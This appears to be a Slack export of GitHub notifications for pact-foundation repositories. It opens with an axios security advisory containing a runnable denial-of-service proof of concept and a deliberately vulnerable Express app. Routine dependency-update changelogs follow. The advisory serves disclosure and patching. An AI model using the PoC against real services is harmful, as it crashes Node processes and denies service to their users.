GitHub
09/14/2025, 12:32 AMdata:
scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (`Buffer`/`Blob`) and returns a synthetic 200 response.
This path ignores maxContentLength
/ maxBodyLength
(which only protect HTTP responses), so an attacker can supply a very large data:
URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'
.
## Details
The Node adapter (lib/adapters/http.js
) supports the data:
scheme. When axios
encounters a request whose URL starts with data:
, it does not perform an HTTP request. Instead, it calls fromDataURI()
to decode the Base64 payload into a Buffer or Blob.
Relevant code from `[httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231)`:
const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];
if (protocol === 'data:') {
let convertedData;
if (method !== 'GET') {
return settle(resolve, reject, { status: 405, ... });
}
convertedData = fromDataURI(config.url, responseType === 'blob', {
Blob: config.env && config.env.Blob
});
return settle(resolve, reject, { data: convertedData, status: 200, ... });
}
The decoder is in `[lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27)`:
export default function fromDataURI(uri, asBlob, options) {
...
if (protocol === 'data') {
uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
const match = DATA_URL_PATTERN.exec(uri);
...
const body = match[3];
const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
if (asBlob) { return new _Blob([buffer], {type: mime}); }
return buffer;
}
throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
• The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
• It does not honour config.maxContentLength
or config.maxBodyLength
, which only apply to HTTP streams.
• As a result, a data:
URI of arbitrary size can cause the Node process to allocate the entire content into memory.
In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes
exceeds `[maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550)`. No such check occurs for data:
URIs.
## PoC
const axios = require('axios');
async function main() {
// this example decodes ~120 MB
const base64Size = 160_000_000; // 120 MB after decoding
const base64 = 'A'.repeat(base64Size);
const uri = 'data:application/octet-stream;base64,' + base64;
console.log('Generating URI with base64 length:', base64.length);
const response = await axios.get(uri, {
responseType: 'arraybuffer'
});
console.log('Received bytes:', response.data.length);
}
main().catch(err => {
console.error('Error:', err.message);
});
Run with limited heap to force a crash:
node --max-old-space-size=100 poc.js
Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:
<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…
Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength
, maxBodyLength
and decodes into memory on Node before streaming enabling DoS.
import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";
const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
timeout: 10000,
maxRedirects: 5,
httpAgent, httpsAgent,
headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
validateStatus: c => c >= 200 && c < 400
});
const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";
app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));
app.get("/healthz", (req,res)=>res.send("ok"));
/**
* POST /preview { "url": "<http|https|data URL>" }
* Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
*/
app.post("/preview", async (req, res) => {
const url = req.body?.url;
if (!url) return res…
pact-foundation/pact-jsGitHub
09/15/2025, 3:43 PMGitHub
09/15/2025, 4:49 PMairbnb
eslint configs as they do not support ESLint 9.
pact-foundation/pact-js-coreGitHub
09/15/2025, 4:50 PMserialize-javascript
from 6.0.0 to 6.0.2
Release notes
Sourced from serialize-javascript's releases.
## v6.0.2
• fix: serialize URL string contents to prevent XSS (#173) f27d65d
• Bumpfrom 7.10.1 to 7.23.7 (#171) 02499c0@babel/traverse
• docs: update readme with URL support (#146) 0d88527
• chore: update node version and lock file e2a3a91
• fix typo (#164) 5a1fa64
yahoo/serialize-javascript@v6.0.1...v6.0.2
## v6.0.1
## What's Changed
• Bump mocha from 9.0.1 to 9.0.2 by `@dependabot` in yahoo/serialize-javascript#126
• Bump mocha from 9.0.2 to 9.0.3 by `@dependabot` in yahoo/serialize-javascript#127
• Bump path-parse from 1.0.6 to 1.0.7 by `@dependabot` in yahoo/serialize-javascript#129
• Bump mocha from 9.0.3 to 9.1.0 by `@dependabot` in yahoo/serialize-javascript#130
• Bump mocha from 9.1.0 to 9.1.1 by `@dependabot` in yahoo/serialize-javascript#131
• Bump mocha from 9.1.1 to 9.1.2 by `@dependabot` in yahoo/serialize-javascript#132
• Bump mocha from 9.1.2 to 9.1.3 by `@dependabot` in yahoo/serialize-javascript#133
• Bump mocha from 9.1.3 to 9.1.4 by `@dependabot` in yahoo/serialize-javascript#137
• Bump mocha from 9.1.4 to 9.2.0 by `@dependabot` in yahoo/serialize-javascript#138
• Bump chai from 4.3.4 to 4.3.6 by `@dependabot` in yahoo/serialize-javascript#140
• Bump ansi-regex from 5.0.0 to 5.0.1 by `@dependabot` in yahoo/serialize-javascript#141
• Bump mocha from 9.2.0 to 9.2.2 by `@dependabot` in yahoo/serialize-javascript#143
• Bump minimist from 1.2.5 to 1.2.6 by `@dependabot` in yahoo/serialize-javascript#144
• Bump mocha from 9.2.2 to 10.0.0 by `@dependabot` in yahoo/serialize-javascript#145
• Bump mocha from 10.0.0 to 10.1.0 by `@dependabot` in yahoo/serialize-javascript#149
• Bump chai from 4.3.6 to 4.3.7 by `@dependabot` in yahoo/serialize-javascript#150
• ci: test.yml - actions bump by `@piwysocki` in yahoo/serialize-javascript#151
• Bump minimatch from 3.0.4 to 3.1.2 by `@dependabot` in yahoo/serialize-javascript#152
• Bump mocha from 10.1.0 to 10.2.0 by `@dependabot` in yahoo/serialize-javascript#153
• Bump json5 from 2.1.3 to 2.2.3 by `@dependabot` in yahoo/serialize-javascript#155
• Fix serialization issue for 0n. by `@momocow` in yahoo/serialize-javascript#156
• Release v6.0.1 by `@okuryu` in yahoo/serialize-javascript#157
## New Contributors
• `@piwysocki` made their first contribution in yahoo/serialize-javascript#151
• `@momocow` made their first contribution in yahoo/serialize-javascript#156
Full Changelog: yahoo/serialize-javascript@v6.0.0...v6.0.1Commits • `b71ec23` 6.0.2 • `f27d65d` fix: serialize URL string contents to prevent XSS (#173) • `02499c0` Bump
@babel/traverse
from 7.10.1 to 7.23.7 (#171)
• `0d88527` docs: update readme with URL support (#146)
• `e2a3a91` chore: update node version and lock file
• `5a1fa64` fix typo (#164)
• `7139f92` Release v6.0.1 (#157)
• `7e23ae8` Fix serialization issue for 0n. (#156)
• `343abd9` Bump json5 from 2.1.3 to 2.2.3 (#155)
• `38d0e70` Bump mocha from 10.1.0 to 10.2.0 (#153)
• Additional commits viewable in compare view
Updates mocha
from 9.2.2 to 11.1.0
Release notes
_Sourced from <https://github.…
pact-foundation/pact-js-coreGitHub
09/15/2025, 4:56 PM:preserveSemverRanges
to your config if you don't want to pin your dependencies.
---
### Configuration
📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 Automerge: Enabled.
♻️ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.
---
• If you want to rebase/retry this PR, check this box
---
This PR was generated by Mend Renovate. View the repository job log.
pact-foundation/pact-js-coreGitHub
09/15/2025, 4:56 PMGitHub
09/15/2025, 4:56 PMGitHub
09/15/2025, 4:56 PMfunding
field into package.json
#### 10.1.4
##### Patch Changes
• #328 `94b4799` Thanks @silvenon! - fix(cli): do not crash on no rules configured
#### 10.1.3
##### Patch Changes
• #325 `4e95a1d` Thanks @pilikan! - fix: this package is commonjs
, align its types correctly
#### 10.1.2
##### Patch Changes
• #321 `a8768bf` Thanks @Fdawgs! - chore(package): add homepage for some 3rd-party registry - see #321 for more details
#### 10.1.1
##### Patch Changes
• #309 `eb56a5e` Thanks @JounQin! - fix: separate the /flat
entry for compatibility
For flat config users, the previous "eslint-config-prettier"
entry still works, but "eslint-config-prettier/flat"
adds a new name
property for config-inspector, we just can't add it for the default entry for compatibility.
See also #308
// before
import eslintConfigPrettier from "eslint-config-prettier";
// after
import eslintConfigPrettier from "eslint-config-prettier/flat";
#### 10.1.0
##### Minor Changes
• #306 `56e2e34` Thanks @JounQin! - feat: migrate to exports field
#### 10.0.3
##### Patch Changes
• #294 `8dbbd6d` Thanks @FloEdelmann! - feat: add name to config
• #280 `cba5737` Thanks @zanminkian! - feat: add declaration file
#### 10.0.2
##### Patch Changes
• #299 `e750edc` Thanks @Fdawgs! - chore(package): explicitly declare js module type
#### 10.0.0
##### Major Changes
• #272 `5be64be` Thanks @abrahamguo! - add support for @stylistic formatting rules
#### Versions before 10.0.0
##### Version 9.1.0 (2023-12-02)
• Added: unicorn/template-indent, (as a special rule). Thanks to Gürgün Dayıoğlu (@gurgunday)!
• Changed: All the formatting rules that were deprecated in ESLint 8.53.0 are now excluded if you set the ESLINT_CONFIG_PRETTIER_NO_DEPRECATED
environment variable.
##### Version 9.0.0 (2023-08-05)
• Added: The CLI helper tool n…
pact-foundation/pact-js-coreGitHub
09/15/2025, 4:57 PM<https://github.com/pact-foundation/jest-pact/tree/master|master>
by YOU54F
<https://github.com/pact-foundation/jest-pact/commit/7f54a56d039b3a7863811e84d767c87c068b235c|7f54a56d>
- chore(deps): update actions/setup-node action to v5 (#414)
pact-foundation/jest-pactGitHub
09/15/2025, 4:57 PM<https://github.com/pact-foundation/jest-pact/tree/master|master>
by YOU54F
<https://github.com/pact-foundation/jest-pact/commit/29280ac991a4a4ab1e6c19f341f2e7119be1b2bd|29280ac9>
- chore(deps): update actions/checkout action to v5 (#412)
pact-foundation/jest-pactGitHub
09/15/2025, 4:57 PMGitHub
09/15/2025, 4:58 PM<https://github.com/pact-foundation/jest-pact/tree/master|master>
by YOU54F
<https://github.com/pact-foundation/jest-pact/commit/a26212aff249671be23b373ed1f2bb3ee1e29e7d|a26212af>
- chore(deps): update dependency node to v22 (#411)
pact-foundation/jest-pactGitHub
09/15/2025, 4:58 PMGitHub
09/15/2025, 5:00 PM## v18.0.0
# 18.0.0 (2024-03-02)
### chore
• upgrade to ts-eslint v7 (#334) (b00dada)
### BREAKING CHANGES
• Update `@typescript-eslint` to v7 or above, and eslint to 8.56.0 or aboveCommits • `b00dada` chore: upgrade to ts-eslint v7 (#334) • See full diff in compare view [Dependabot compatibility score](https://camo.githubusercontent.com/3ce75938fbd5eb5eee26077b40460e5a628cfa6fe3f47769afd83ccc0b6778de/68747470733a2f2f646570656e6461626f742d6261646765732e6769746875626170702e636f6d2f6261646765732f636f6d7061746962696c6974795f73636f72653f646570656e64656e63792d6e616d653d65736c696e742d636f6e6669672d616972626e622d74797065736372697074267061636b6167652d6d616e616765723d6e706d5f616e645f7961726e2670726576696f75732d76657273696f6e3d31372e312e30266e65772d76657273696f6e3d31382e302e30) You can trigger a rebase of this PR by commenting
@dependabot rebase
.
---
Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR:
• @dependabot rebase
will rebase this PR
• @dependabot recreate
will recreate this PR, overwriting any edits that have been made to it
• @dependabot merge
will merge this PR after your CI passes on it
• @dependabot squash and merge
will squash and merge this PR after your CI passes on it
• @dependabot cancel merge
will cancel a previously requested merge and block automerging
• @dependabot reopen
will reopen this PR if it is closed
• @dependabot close
will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
• @dependabot show <dependency name> ignore conditions
will show all of the ignore conditions of the specified dependency
• @dependabot ignore this major version
will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
• @dependabot ignore this minor version
will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
• @dependabot ignore this dependency
will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
Note
Automatic rebases have been disabled on this pull request as it has been open for over 30 days.pact-foundation/jest-pact
GitHub
09/15/2025, 5:00 PM## v8.32.1
## 8.32.1 (2025-05-12)
### 🩹 Fixes
• eslint-plugin: [no-unnecessary-type-conversion] shouldn't have fixable property (#11194)
• eslint-plugin: [no-deprecated] support computed member access (#10867)
• eslint-plugin: [consistent-indexed-object-style] adjust auto-fixer to generate valid syntax forwith no type annotation (#11180)TSMappedType
• eslint-plugin: [consistent-indexed-object-style] check for indirect circular types in aliased mapped types (#11177)
### ❤️ Thank You
• Azat S. `@azat-io`
• Dima Barabash `@dbarabashh`
• Ronen Amiel
You can read about our versioning strategy and releases on our website.
## v8.32.0
## 8.32.0 (2025-05-05)
### 🚀 Features
• eslint-plugin: [no-unnecessary-type-conversion] add rule (#10182)
• eslint-plugin: [only-throw-error] add option(#11075)allowRethrowing
### 🩹 Fixes
• deps: update dependency typedoc to ^0.28.0 (1fef33521)
• eslint-plugin: [no-unnecessary-type-parameters] should parenthesize type in suggestion fixer if necessary (#10907)
• eslint-plugin: [unified-signatures] exemptfrom optional parameter overload check (#11005)this
• eslint-plugin: [prefer-nullish-coalescing] fix parenthesization bug in suggestion (#11098)
• typescript-estree: ensure consistent TSMappedType AST shape (#11086)
• typescript-estree: correctproperty name whenTSImportType
(#11115)assert
### ❤️ Thank You
• Andy Edwards
• Dima Barabash `@dbarabashh`
• Kirk Waiblinger `@kirkwaiblinger`
• mdm317
• overlookmotel
• Sasha Kondrashov
• Yukihiro Hasegawa `@y-hsgw`
You can read about our versioning strategy and releases on our website.
## v8.31.1
## 8.31.1 (2025-04-28)... (truncated) Changelog Sourced from `@typescript-eslint/eslint-plugin`'s changelog.
## 8.32.1 (2025-05-12)
### 🩹 Fixes
• eslint-plugin: [consistent-indexed-object-style] check for indirect circular types in aliased mapped types (#11177)
• eslint-plugin: [consistent-indexed-object-style] adjust auto-fixer to generate valid syntax forwith no type annotation (#11180)TSMappedType
• eslint-plugin: [no-deprecated] support computed member access (#10867)
• eslint-plugin: [no-unnecessary-type-conversion] shouldn't have fixable property (#11194)
### ❤️ Thank You
• Azat S. `@azat-io`
• Dima Barabash `@dbarabashh`
• Ronen Amiel
You can read about our versioning strategy and releases on our website.
## 8.32.0 (2025-05-05)
### 🚀 Features
• eslint-plugin: [only-throw-error] add option(#11075)allowRethrowing
• eslint-plugin: [no-unnecessary-type-conversion] add rule (#10182)
### 🩹 Fixes
• eslint-plugin: [prefer-nullish-coalescing] fix parenthesization bug in suggestion (#11098)
• eslint-plugin: [unified-signatures] exemptfrom optional parameter overload check (#11005)this
• eslint-plugin: [no-unnecessary-type-parameters] should parenthesize type in suggestion fixer if necessary (#10907)
### ❤️ Thank You
• Andy Edwards
• Kirk Waiblinger `@kirkwaiblinger`
• mdm317
• Sasha Kondrashov
• Yukihiro Hasegawa `@y-hsgw`
You can read about our versioning strategy and releases on our website.
## 8.31.1 (2025-04-28)
### 🩹 Fixes
• eslint-plugin: [no-unnecessary-condition] downgrade fix to suggestion (#11081)
### ❤️ Thank You
• Kirk Waiblinger `@kirkwaiblinger`... (truncated) Commits • `af077a0` chore(release): publish 8.32.1 • `f8db925` fix(eslint-plugin): [consistent-indexed-object-style] check for indirect circ... • `98c5c4c` fix(eslint-plugin): [consistent-indexed-object-style] adjust auto-fixer to ge... • `b2be3dc` chore: simplify
tsconfig
setup using configDir
(#11136)
• `523b3ea` fix(eslint-plugin): [no-deprecated] support computed member access (#10867)
• <https://github.c…
pact-foundation/jest-pactGitHub
09/15/2025, 5:00 PM## v8.32.1
## 8.32.1 (2025-05-12)
### 🩹 Fixes
• eslint-plugin: [no-unnecessary-type-conversion] shouldn't have fixable property (#11194)
• eslint-plugin: [no-deprecated] support computed member access (#10867)
• eslint-plugin: [consistent-indexed-object-style] adjust auto-fixer to generate valid syntax forwith no type annotation (#11180)TSMappedType
• eslint-plugin: [consistent-indexed-object-style] check for indirect circular types in aliased mapped types (#11177)
### ❤️ Thank You
• Azat S. `@azat-io`
• Dima Barabash `@dbarabashh`
• Ronen Amiel
You can read about our versioning strategy and releases on our website.
## v8.32.0
## 8.32.0 (2025-05-05)
### 🚀 Features
• eslint-plugin: [no-unnecessary-type-conversion] add rule (#10182)
• eslint-plugin: [only-throw-error] add option(#11075)allowRethrowing
### 🩹 Fixes
• deps: update dependency typedoc to ^0.28.0 (1fef33521)
• eslint-plugin: [no-unnecessary-type-parameters] should parenthesize type in suggestion fixer if necessary (#10907)
• eslint-plugin: [unified-signatures] exemptfrom optional parameter overload check (#11005)this
• eslint-plugin: [prefer-nullish-coalescing] fix parenthesization bug in suggestion (#11098)
• typescript-estree: ensure consistent TSMappedType AST shape (#11086)
• typescript-estree: correctproperty name whenTSImportType
(#11115)assert
### ❤️ Thank You
• Andy Edwards
• Dima Barabash `@dbarabashh`
• Kirk Waiblinger `@kirkwaiblinger`
• mdm317
• overlookmotel
• Sasha Kondrashov
• Yukihiro Hasegawa `@y-hsgw`
You can read about our versioning strategy and releases on our website.
## v8.31.1
## 8.31.1 (2025-04-28)... (truncated) Changelog Sourced from `@typescript-eslint/parser`'s changelog.
## 8.32.1 (2025-05-12)
This was a version bump only for parser to align it with other projects, there were no code changes.
You can read about our versioning strategy and releases on our website.
## 8.32.0 (2025-05-05)
This was a version bump only for parser to align it with other projects, there were no code changes.
You can read about our versioning strategy and releases on our website.
## 8.31.1 (2025-04-28)
This was a version bump only for parser to align it with other projects, there were no code changes.
You can read about our versioning strategy and releases on our website.
## 8.31.0 (2025-04-21)
This was a version bump only for parser to align it with other projects, there were no code changes.
You can read about our versioning strategy and releases on our website.
## 8.30.1 (2025-04-14)
This was a version bump only for parser to align it with other projects, there were no code changes.
You can read about our versioning strategy and releases on our website.
## 8.30.0 (2025-04-14)
This was a version bump only for parser to align it with other projects, there were no code changes.
You can read about our versioning strategy and releases on our website.
## 8.29.1 (2025-04-07)
This was a version bump only for parser to align it with other projects, there were no code changes.
You can read about our versioning strategy and releases on our website.
## 8.29.0 (2025-03-31)
This was a version bump only for parser to align it with other projects, there were no code changes.
You can read about our versioning strategy and releases on our website.
## 8.28.0 (2025-03-24)... (truncated) Commits • `af077a0` chore(release): publish 8.32.1 • `b2be3dc` chore: simplify
tsconfig
setup using configDir
(#11136)
• `aeb7402` chore(ast-spec): finish migrating to vitest
(#11126)
• `819a03f` chore(release): publish 8.32.0
• `172ab8a` chore(eslint-plugin): resolve remaining issues from vitest
migration (#11100)
• `a9c9251` chore: revert vitest
related changes in tsconfig
files (<https://github.com/typescript-eslint/typ…
pact-foundation/jest-pactGitHub
09/15/2025, 5:00 PM## v4.3.5
### Patch Changes
• #450 `3f1aab1` Thanks `@JounQin`! - fix: remove buggyexports fieldmodule-sync
Full Changelog: import-js/eslint-import-resolver-typescript@v4.3.4...v4.3.5
## v4.3.4
### Patch Changes
• #442 `57611d9` Thanks `@JounQin`! - fix: add more extension aliases for ts source/declaration files
• #444 `bd45fcd` Thanks `@JounQin`! - fix(deps): bumpwhich resolves #406, #409, #437unrs-resolver
Full Changelog: import-js/eslint-import-resolver-typescript@v4.3.3...v4.3.4
## v4.3.3
### Patch Changes
• #433 `834b11e` Thanks `@JounQin`! - chore: bumpto v1.6.0unrs-resolver
Full Changelog: import-js/eslint-import-resolver-typescript@v4.3.2...v4.3.3
## v4.3.2
### Patch Changes
• #427 `dabba8e` Thanks `@JounQin`! - chore: bumpto v1.4.1unrs-resolver
Full Changelog: import-js/eslint-import-resolver-typescript@v4.3.1...v4.3.2
## v4.3.1
### Patch Changes
• #425 `2ced0ba` Thanks `@JounQin`! - chore: bumpto v1.3.3unrs-resolver
Full Changelog: import-js/eslint-import-resolver-typescript@v4.3.0...v4.3.1
## v4.3.0
### Minor Changes
• #423 `2fcb947` Thanks `@JounQin`! - feat: throw error on malformedreferencetsconfig
Full Changelog: import-js/eslint-import-resolver-typescript@v4.2.7...v4.3.0
## v4.2.7
### Patch Changes
• `aeb558f` Thanks `@JounQin`! - fix: add missingfileindex.d.cts
Full Changelog: import-js/eslint-import-resolver-typescript@v4.2.6...v4.2.7... (truncated) Changelog Sourced from eslint-import-resolver-typescript's changelog.
## 4.3.5
### Patch Changes
• #450 `3f1aab1` Thanks `@JounQin`! - fix: remove buggyexports fieldmodule-sync
## 4.3.4
### Patch Changes
• #442 `57611d9` Thanks `@JounQin`! - fix: add more extension aliases for ts source/declaration files
• #444 `bd45fcd` Thanks `@JounQin`! - fix(deps): bumpwhich resolves #406, #409, #437unrs-resolver
## 4.3.3
### Patch Changes
• #433 `834b11e` Thanks `@JounQin`! - chore: bumpto v1.6.0unrs-resolver
## 4.3.2
### Patch Changes
• #427 `dabba8e` Thanks `@JounQin`! - chore: bumpto v1.4.1unrs-resolver
## 4.3.1
### Patch Changes
• #425 `2ced0ba` Thanks `@JounQin`! - chore: bumpto v1.3.3unrs-resolver
## 4.3.0
### Minor Changes
• #423 `2fcb947` Thanks `@JounQin`! - feat: throw error on malformedreferencetsconfig
## 4.2.7
### Patch Changes
• `aeb558f` Thanks `@JounQin`! - fix: add missingfileindex.d.cts
## 4.2.6
### Patch Changes
• <https://redirect.github.com/import-js/eslint-import-resolver-typescript/p…pact-foundation/jest-pact
GitHub
09/15/2025, 5:00 PM## v9.27.0
## Features
• `d71e37f` feat: Allow flags to be set in ESLINT_FLAGS env variable (#19717) (Nicholas C. Zakas)
• `ba456e0` feat: Externalize MCP server (#19699) (Nicholas C. Zakas)
• `07c1a7e` feat: addtoallowRegexCharacters
(#19705) (sethamus)no-useless-escape
• `7bc6c71` feat: add no-unassigned-vars rule (#19618) (Jacob Bandes-Storch)
• `ee40364` feat: convert no-array-constructor suggestions to autofixes (#19621) (sethamus)
• `32957cd` feat: support TS syntax in(#19557) (Nitin Kumar)max-params
## Bug Fixes
• `5687ce7` fix: correct mismatched removed rules (#19734) (루밀LuMir)
• `dc5ed33` fix: correct types and tighten type definitions inclass (#19731) (루밀LuMir)SourceCode
• `de1b5de` fix: correctproperty name inservice
type (#19713) (Francesco Trotta)Linter.ESLintParseResult
• `60c3e2c` fix: sort keys in eslint-suppressions.json to avoid git churn (#19711) (Ron Waldon-Howe)
• `9da90ca` fix: addtoallowReserved
type (#19710) (Francesco Trotta)Linter.ParserOptions
• `fbb8be9` fix: addtoinfo
type (#19701) (Francesco Trotta)ESLint.DeprecatedRuleUse
## Documentation
• `25de550` docs: Update description of frozen rules to mention TypeScript (#19736) (Nicholas C. Zakas)
• `bd5def6` docs: Clean up configuration files docs (#19735) (Nicholas C. Zakas)
• `4d0c60d` docs: Add Neovim to editor integrations (#19729) (Maria José Solano)
• `71317eb` docs: Update README (GitHub Actions Bot)
• `4c289e6` docs: Update README (GitHub Actions Bot)
• `f0f0d46` docs: clarify that unused suppressions cause non-zero exit code (#19698) (Milos Djermanovic)
• `8ed3273` docs: fix internal usages oftype (#19688) (Francesco Trotta)ConfigData
• `eb316a8` docs: addandfmt
sections tocheck
(#19686) (루밀LuMir)Package.json Conventions
• `a3a2559` docs: fix wording in Combine Configs (#19685) (Milos Djermanovic)
• `c8d17e1` docs: Update README (GitHub Actions Bot)
## Chores
• `f8f1560` chore: upgrade `@eslint/js` `@9`.27.0 (#19739) (Milos Djermanovic)
• `ecaef73` chore: package.json update forrelease (Jenkins)@eslint/js
• `596fdc6` chore: update dependencyto ^0.18.0 (#19732) (renovate[bot])@arethetypeswrong/cli
• `f791da0` chore: remove unbalanced curly brace from(#19730) (Maria José Solano).editorconfig
• `e86edee` refactor: Consolidate Config helpers (#19675) (Nicholas C. Zakas)
• `cf36352` chore: remove shared types (#19718) (Francesco Trotta)
• `f60f276` refactor: Easier RuleContext creation (#19709) (Nicholas C. Zakas)
• `58a171e` chore: update dependencyto ^0.3.1 (#19712) (renovate[bot])@eslint/plugin-kit
• `3a075a2` chore: update dependencyto ^0.14.0 (#19715) (renovate[bot])@eslint/core
• `44bac9d` ci: run tests in Node.js 24 (#19702) (Francesco Trotta)
• `35304dd` chore: add missingfield to packages (#19684) (루밀LuMir)funding
• `f305beb` test: mockto prevent output disruption (#19687) (Francesco Trotta)process.emitWarning
## v9.26.0
## Features
• <https://github.com/eslint/eslint/commit/e9…pact-foundation/jest-pact
GitHub
09/15/2025, 5:03 PMGitHub
09/15/2025, 5:04 PM<https://github.com/pact-foundation/jest-pact/tree/master|master>
by YOU54F
<https://github.com/pact-foundation/jest-pact/commit/a517f0e4103b0aa5f39bf3e7ecb9a1b535eb6f8a|a517f0e4>
- chore(deps): update dependency cross-env to v10 (#407)
pact-foundation/jest-pactGitHub
09/15/2025, 5:04 PMGitHub
09/15/2025, 5:07 PMstable-hash-x
v0.2.0
• #466 `799f1ce` Thanks @anomiex! - fix: include options hash in cache key for options normalization
---
### Configuration
📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 Automerge: Enabled.
♻️ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
---
• If you want to rebase/retry this PR, check this box
---
This PR was generated by Mend Renovate. View the repository job log.
pact-foundation/pact-js-coreGitHub
09/15/2025, 5:42 PMGitHub
09/15/2025, 5:43 PMGitHub
09/15/2025, 9:01 PM## v8.44.0
## 8.44.0 (2025-09-15)
### 🚀 Features
• eslint-plugin: [await-thenable] report invalid (non-promise) values passed to promise aggregator methods (#11267)
### 🩹 Fixes
• deps: update dependencyto v4.8.0 (#11589)@eslint-community/eslint-utils
• eslint-plugin: [no-unnecessary-type-conversion] ignore enum members (#11490)
### ❤️ Thank You
• Moses Odutusin `@thebolarin`
• Ronen Amiel
You can read about our versioning strategy and releases on our website.
## v8.43.0
## 8.43.0 (2025-09-08)
### 🚀 Features
• typescript-estree: disallow empty type parameter/argument lists (#11563)
### 🩹 Fixes
• eslint-plugin: [no-non-null-assertion] do not suggest optional chain on LHS of assignment (#11489)
• eslint-plugin: [no-unnecessary-type-conversion] only report ~~ on integer literal types (#11517)
• eslint-plugin: [consistent-type-exports] fix declaration shadowing (#11457)
• eslint-plugin: [no-floating-promises] allowForKnownSafeCalls now supports function names (#11423, #11430)
• eslint-plugin: [no-deprecated] should report deprecated exports and reexports (#11359)
• eslint-plugin: [prefer-return-this-type] don't report an error when returning a union type that includes a classType (#11432)
• rule-tester: normalize paths before checking if they escape cwd (#11525)
• scope-manager: exclude Program from DefinitionBase node types (#11469)
• type-utils: add union type support to TypeOrValueSpecifier (#11526)
• typescript-estree: match filenames starting with a period when using glob in allowDefaultProject / (#11537)
### ❤️ Thank You
• Dima `@dbarabashh`
• Kirk Waiblinger `@kirkwaiblinger`
• mdm317
• Nicolas Le Cam
• tao
• Victor Genaev `@mainframev`
• Yukihiro Hasegawa `@y-hsgw`
• 민감자(Minji Kim) `@mouse0429`
• 송재욱... (truncated) Changelog Sourced from `@typescript-eslint/parser`'s changelog.
## 8.44.0 (2025-09-15)
This was a version bump only for parser to align it with other projects, there were no code changes.
You can read about our versioning strategy and releases on our website.
## 8.43.0 (2025-09-08)
This was a version bump only for parser to align it with other projects, there were no code changes.
You can read about our versioning strategy and releases on our website.
## 8.42.0 (2025-09-02)
This was a version bump only for parser to align it with other projects, there were no code changes.
You can read about our versioning strategy and releases on our website.
## 8.41.0 (2025-08-25)
This was a version bump only for parser to align it with other projects, there were no code changes.
You can read about our versioning strategy and releases on our website.
## 8.40.0 (2025-08-18)
This was a version bump only for parser to align it with other projects, there were no code changes.
You can read about our versioning strategy and releases on our website.
## 8.39.1 (2025-08-11)
This was a version bump only for parser to align it with other projects, there were no code changes.
You can read about our versioning strategy and releases on our website.
## 8.39.0 (2025-08-04)
### 🚀 Features
• update to TypeScript 5.9.2 (#11445)
### ❤️ Thank You
• Brad Zacher `@bradzacher`
You can read about our versioning strategy and releases on our website.
## 8.38.0 (2025-07-21)... (truncated) Commits • `77056f7` chore(release): publish 8.44.0 • `ef9173c` chore(release): publish 8.43.0 • `d135909` chore(release): publish 8.42.0 • `31a7336` chore(release): publish 8.41.0 • `60c3b26` chore(release): publish 8.40.0 • `b2ee794` chore(release): publish 8.39.1 • `c98d513` chore(release): publish 8.39.0 • `2112d58` feat: update to TypeScript 5.9.2 (#11445) • <https://github.com/typescript-eslint/typescript-eslint/commit/d11e79e9c9edc9f6f5e66306e3b3d65f3149a760|`d11e79… pact-foundation/jest-pact
GitHub
09/15/2025, 9:02 PM## v29.0.1
## 29.0.1 (2025-06-18)
### Bug Fixes
• update semantic-release config so new v29 major is marked as latest on(#1772) (531c8ba)npm
## v29.0.0
# 29.0.0 (2025-06-18)
### Bug Fixes
• removefromjest/no-alias-methods
config (d3bf1dc)styles
### Features
• drop support forv6 (fe61a40)[@typescript-eslint](<https://github.com/typescript-eslint>)
• drop support forv7 (5ca65d3)[@typescript-eslint](<https://github.com/typescript-eslint>)
• drop support for ESLint v7 (b06e7d0)
• drop support for ESLint v8.x prior to v8.57.0 (d79765a)
• drop support for Node v16 (aaf62cd)
• drop support for Node v18 (598880c)
• drop support for Node v20.x prior to v20.12.0 (2f2fb68)
• drop support for Node v21 (a366393)
• drop support for Node v23 (1fb1a67)
• unbound-method: removeanddocs.recommended
